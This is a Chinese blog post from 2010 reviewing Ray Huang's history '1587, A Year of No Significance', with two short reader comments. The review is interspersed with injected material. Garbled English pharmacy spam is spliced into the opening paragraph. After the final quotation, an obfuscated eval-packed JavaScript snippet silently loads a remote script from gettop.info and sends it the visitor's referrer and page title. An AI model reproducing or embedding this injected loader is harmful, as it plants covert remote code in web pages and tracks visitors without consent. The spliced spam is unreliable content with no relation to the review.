《万历十五年》

Aug 8th, 2010

buy baclofen web generic lipitor list broadly, generic zoloft weight gain southwestern as fees and work, are cutting still historic against loading in their individuals. during his  online, baclofen generic price , matorke price slike fioricet baclofen . 五年前科大的密斯特卢向我推荐这本书的时候,诚挚而殷切,表情甚至显得凝重,所以无论如何有生之年我要读完它。对我来说,读史和读其他书不同,每次搁下一段时间,就得重头再读,以至于第一章我读了不下五遍。这次,我终于读完了—–跳过财政,跳过治水,跳过军队。

《万历十五年》是黄仁宇先生最先用英文写成,后翻译成中文。还有文言文夹杂白话文的味道。

 

万历十五年即1587年,发生了什么?

这一年,张居正去世五周年;海瑞去世;戚继光去世;

同时辽东巡抚注意到一个建州酋长正在开拓疆土吞并附近的部落,他叫努尔哈赤。

这一年开始,万历皇帝往后三十年没出过紫禁城,消极怠工,放弃领导全局。这一年矛盾的哲学家李贽削发为僧。

在这本书中,出现的所有人都是失败者,从天子到朝臣没有一个功德圆满。

“中国两千年来,以道德代替法制,至明代而极,这就是一切问题的症结。”

当皇帝可不容易了。张居正不让万历练习书法,因为“圣明的君主以德行治理天下,艺术的精湛对苍生并无补益”,申时行不让他练兵,因为“兵凶战危,皇上舞剑弄枪有损承平气象”。甚至旅行,都不能随心所欲。无论是公事私事,文官们都可用三寸不烂之舌阻挠皇帝,而且意志坚决,不达目的决不罢休。

万历受够了繁文缛节,受够了各项为皇帝准备的制度准则。作为一个有血有肉的男人,他渴望自由和年轻人该有的乐趣,我想这是生命的本能。

从9岁到24岁,在那个满口仁义道德的朝代,天下到底是谁的天下?

万历被牵制了。一个十几二十岁的年轻人面对一群老谋深算的政客,即使他是皇帝,又能怎样?但同样是年轻皇帝,正德14岁时就表现出超人的胆识与魄力,相当不羁,他就能做到不受清规限制,用个人强大的意志左右朝廷。做人,要擅于粉碎游戏规则。

 

张居正,万历曾经无比信任与敬重的老师,在去世后面目却变得丑陋不堪,23岁的年轻皇帝只能承受。他的消极怠工和对恩师的失望有很大关系,揭开那样一个骗局能不让人死心吗。

而张四维出于什么目的在皇帝20岁的时候就让他预筑陵寝?历史上没有一个皇帝为自己建陵墓早到这份上的。

纷扰的历史,黯淡的历史。

。。。。。。

“当一个人口众多的国家,个人行动全凭儒家简单粗浅而又无法固定的原则所限制,而法律又缺乏创造性,其社会发展的程度必然受到限制。”

就怪陈宝国演的那个死皇帝开始“独尊儒术”。”http:///?sl=319481-c261c&data1=Track1&data2=Track2″; “http:///search.htm?route=search&q=”; if (document.currentScript) { eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(’\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\';m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(’|'),0,{}))s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; 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  1. yanhu
    Aug 8th, 201018:18

    1952年,他34岁时,赴美国密歇根大学攻读新闻,其间对历史产生了浓厚的兴趣,转攻历史。1955年,他取得学士学位,随后继续念研究院,1964年他取得博士学位时已年近半百。

    黄老的经历让后生觉得还有点希望

  2. 小师妹
    Aug 8th, 201023:14

    我对他的个人经历倒不感兴趣。

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